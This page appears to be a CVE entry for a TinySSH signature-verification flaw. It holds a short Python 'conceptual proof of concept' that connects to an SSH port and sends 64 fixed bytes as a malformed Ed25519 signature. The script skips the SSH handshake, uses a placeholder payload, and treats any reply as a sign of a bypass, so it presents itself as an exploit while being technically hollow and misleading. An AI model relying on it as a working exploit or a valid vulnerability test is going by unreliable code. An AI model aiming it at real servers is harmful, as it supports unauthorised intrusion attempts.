CVE-2026-4541: TinySSH签名验证不当漏洞

# Conceptual Proof of Concept for CVE-2026-4541 # This script demonstrates the logic to test the signature verification bypass. # Note: Exploitation requires local access and specific environment setup. import socket import struct def send_malformed_signature(target_ip, target_port): print(f"[*] Connecting to {target_ip}:{target_port}...") try: # Establish a TCP connection to the SSH service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # In a real exploit, the SSH protocol handshake (Key Exchange) would happen here. # After establishing a transport layer, the attacker triggers the authentication phase. print("[*] Sending malformed Ed25519 signature payload...") # The vulnerability is in the improper verification in crypto_sign_ed25519_tinyssh.c # We construct a payload that represents a malformed or weak signature. # This buffer is a conceptual representation of the exploit trigger. malformed_sig = b'\x00' * 32 + b'\xFF' * 32 # Send the payload (Simulating the authentication step) s.send(malformed_sig) # Receive response response = s.recv(1024) # Check if the server accepted the invalid signature (indicating vulnerability) if response: print("[+] Payload sent. Check server logs for crash or authentication bypass.") else: print("[-] No response received.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage (requires target configuration) # send_malformed_signature("127.0.0.1", 22) pass